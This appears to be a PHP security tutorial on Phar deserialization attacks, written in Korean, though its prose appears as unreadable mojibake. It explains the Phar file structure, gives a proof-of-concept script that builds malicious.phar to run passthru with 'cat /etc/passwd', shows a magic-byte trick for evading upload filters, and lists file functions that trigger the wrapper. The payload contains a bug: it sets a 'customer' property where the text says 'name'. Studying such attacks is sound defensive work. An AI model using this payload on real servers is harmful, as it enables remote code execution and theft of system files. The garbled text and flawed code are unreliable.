Serialization & Deserialization
- Serialization : ๋ฐ์ดํฐ ๊ตฌ์กฐ์ฒด๋ Object ์ํ์ ๋ฐ์ดํฐ๋ฅผ ๋ค๋ฅธ ์์คํ ํ๊ฒฝ์์๋ ํด์๋ ์ ์๋๋ก Byte Stream ์ํ๋ก ๋ณํํ๋ ๊ณผ์
- Deserialization : Byte Stream ์ํ์ ๋ฐ์ดํฐ๋ฅผ ๋ฐ์ดํฐ ๊ตฌ์กฐ์ฒด๋ Object๋ก ๋ณํํ๋ ๊ณผ์
Phar (PHP Archive)
Phar๋ ๋ด๋ถ์ ์คํ ๊ฐ๋ฅํ PHP ์ฝ๋๋ฅผ ๋ชจ์๋์ ์์นด์ด๋ธ ํฌ๋งท์ ๋ปํ๋ค. Phar ํ์ผ์ ์๋ 4๊ฐ์ง์ ๊ตฌ์กฐ๋ก ์ด๋ฃจ์ด์ง๋ค.
- Stub
- Manifest
- File Contents
- Siganutre (Optional)
[ Stub ]
Stub
์ ์์ ํํ์ ์ฝ๋๋ฅผ ๋ด์ ์ ์๋ ๊ณต๊ฐ์ด๋ค. Stub์ ๋ง์ง๋ง ๋ช
๋ น์ด์๋ ๋ฐ๋์ _HALTCOMPILER()
๊ฐ ํฌํจ๋์ด์ผ ํ๋ค. Stub์ ์ค์ ํ๋ ค๋ฉด setStub(string $stub)
ํจ์๋ฅผ ํธ์ถํ๋ฉด ๋๋ค.
[ Manifest ]
Phar ํ์ผ์ ๋ํ MetaData์ ๋ํ ๋ถ๋ถ์ด๋ค.
[ Phar Manifest file entry ]
Size in bytes Description
4 bytes Filename length in bytes
?? Filename (length specified in previous)
4 bytes Un-compressed file size in bytes
4 bytes Unix timestamp of file
4 bytes Compressed file size in bytes
4 bytes CRC32 checksum of un-compressed file contents
4 bytes Bit-mapped File-specific flags
4 bytes Serialized File Meta-data length (0 for none)
?? **Serialized File Meta-data, stored in serialize() format**
์๋ ๋ถ๋ถ์์ ๊ฐ์ฅ ๋ง์ง๋ง ๋ถ๋ถ์ด ํต์ฌ์ด๋ค. serialize ํจ์๋ก Byte Stream ๋ฐ์ดํฐ๋ฅผ ์ง๋ ฌํํ๊ฒ ๋๋ค. ์ด ๋ถ๋ถ, ์ฆ Phar Deserialization ์ทจ์ฝ์ ์ PHP Wrapper๊ฐ Phar ํ์ผ์ ์ฒ๋ฆฌํ ๋, MetaData๊ฐ ์๋์ผ๋ก ์ญ์ง๋ ฌํ๋๋ ๋ถ๋ถ์ ์ ์ฉํ๋ค.
[ File contents and Signature ]
- File Contents : Phar ๋ด ๋ฐ์ดํฐ ์์ญ
- Signature : Phar์ ๋ํ ์๊ทธ๋์ฒ
์ทจ์ฝ์ ์กฐ๊ฑด
- PHP 5.0.0 ~ 7.4 ๋ฒ์ ์์ ๊ฐ๋ฅ
- ๊ณต๊ฒฉ์๊ฐ ์์์ Phar ํ์ผ์ ์ ๋ก๋ํ ์ ์์ด์ผ ํจ
- ์๋ฒ ๋ด ์ฝ๋ ์ค class์์
__destruct()
ํน์__wakeup()
๊ฐ ์ ์๋์ด ์์ด์ผ ํจ - ์๋ฒ๊ฐ
phar://
Wrapper๋ก ์ฒ๋ฆฌ ๊ฐ๋ฅํด์ผ ํจ
์ทจ์ฝ์ ์์ธ ์ค๋ช
์๊น ๋งํ๋ฏ, Manifest์ ๋ง์ง๋ง ๋ถ๋ถ์ ์กด์ฌํ๋ serialize()
ํจ์๋ฅผ ์ด์ฉํ๊ธฐ ๋๋ฌธ์ Deserialization ์ทจ์ฝ์ ์ ๋
ธ์ถ๋๋ค.
<?php
class TestObject{
function __destruct()
{
echo $this -> data;
}
}
include('phar://phar.phar');
?>
TestObject
๊ฐ์ฒด๊ฐ ์๊ณ __desturct()
ํจ์์ data๋ฅผ ๋ณด์ฌ์ฃผ๊ฒ๋ ์ฝ๋๊ฐ ์ ์๋์ด ์๋ค.
<?php
class TestObject {
}
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // stub ์์ญ.
$content = new TestObject();
$content -> data='THIS_IS_GUEST';
$phar->setMetadata($content); // manifest์ ๋ฐ์ดํฐ๋ฅผ ์๋๋ค. TestObject ๊ฐ์ฒด๋ฅผ ์์ฑํด์ ๊ฐ์ ์ฑ์ด ํ ๊ฐ์ฒด ๋ฐ์ดํฐ๊ฐ ๋ค์ด๊ฐ์ต๋๋ค.
// phar ํ์ผ์ manifest ์์ญ์ Serialized๋ TestObject ๊ฐ์ฒด๊ฐ ๋ค์ด๊ฐ๊ฒ ๋ฉ๋๋ค.
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
์ ์ฝ๋์ ๊ฒฐ๊ณผ ๊ฐ์ "THIS_IS_GUEST"๊ฐ ๋์ฌ ๊ฒ์ด๋ค. ์์๋ฅผ ํ๋ ๋ ๋ค์ด๋ณด์.
<?php
function goodbye($name) {
echo "Hello, $name!\n";
}
class Customer {
public $greet = 'goodbye';
public $name = 'John';
function __destruct() {
call_user_func($this->greet, $this->name);
}
}
?>
์๋ฒ ๋ด ์ฝ๋์ ์์ ๊ฐ์ด ์ ์๋์ด ์๋ค๊ณ ๊ฐ์ ํ์. ์ ์ฝ๋๋ฅผ ์ด์ฉํด๋ณด์. Phar Deserialization ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ์ฌ ํน์ ํ์ผ์ ์ฝ๋ ํ์ด๋ก๋๋ ์๋์ ๊ฐ๋ค.
<?php
class Customer {
public $greet = 'goodbye';
public $name = 'dream';
function __destruct() {
call_user_func($this->greet, $this->name);
}
}
$phar = new Phar('malicous.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER();?>');
// ํน์ ํ์ฅ์๋ง ์
๋ก๋ํ ์ ์๋ค๋ฉด์๋์ ๊ฐ์ด setStub์ ๊ตฌ์ฑ
// MAGIC BYTES Example: GIF -> GIF89a / JPEG -> \xff\xd8\xff\n
// phar -> php๋ก ๋ณํ ํ, ํ์ฅ์๋ ์กฐ๊ฑด์ ๋ง๊ฒ ๋ณ๊ฒฝํด์ค์ผ ํจ
// $phar->setStub('[MAGIC_BYTES]'.'<?php __HALT_COMPILER();?>');
$object = new Customer();
$object->greet = "passthru";
$object->customer = "cat /etc/passwd";
$phar->setMetadata($object);
$phar->stopBuffering();
?>
ํ์ด๋ก๋๋ฅผ ๋ง๋๋ ์๋ฆฌ๋ ์๋์ ๊ฐ๋ค.
- Customer ํด๋์ค๊ฐ ์ ์๋์ด ์์ผ๋ฏ๋ก phar ํ์ผ ๋ด์์๋ Customer ํด๋์ค๋ฅผ ์ ์ํด์ผ ํ๋ค.
- goodbye() ํจ์ ๋์ passthru()๋ฅผ ์คํ (RCE๋ฅผ ์ํด์)
- Customer ํด๋์ค ๋ด๋ถ์ ๋ ๋ค๋ฅธ ๋ณ์์ธ $name์๋ ์ธ์๋ฅผ ์ค๋ค. (์ธ์=๋ช ๋ น์ด)
Phar ์ฒ๋ฆฌ๊ฐ ๊ฐ๋ฅํ functions
file()
filetime()
filectime()
fileatime()
file_put_contents()
fileinode()
file_exists()
filegroup()
fileowner()
file_get_contents()
fopen()
fileperms()
is_dir()
is_readable()
is_executable()
is_writable()
is_writeable()
is_file()
is_link()
parse_ini_file()
copy()
unlink()
stat()
readfile()
ETC
์ด๋ฐ ํด๋ ์๋ค๊ณ ํ๋ค. ๋งํฌ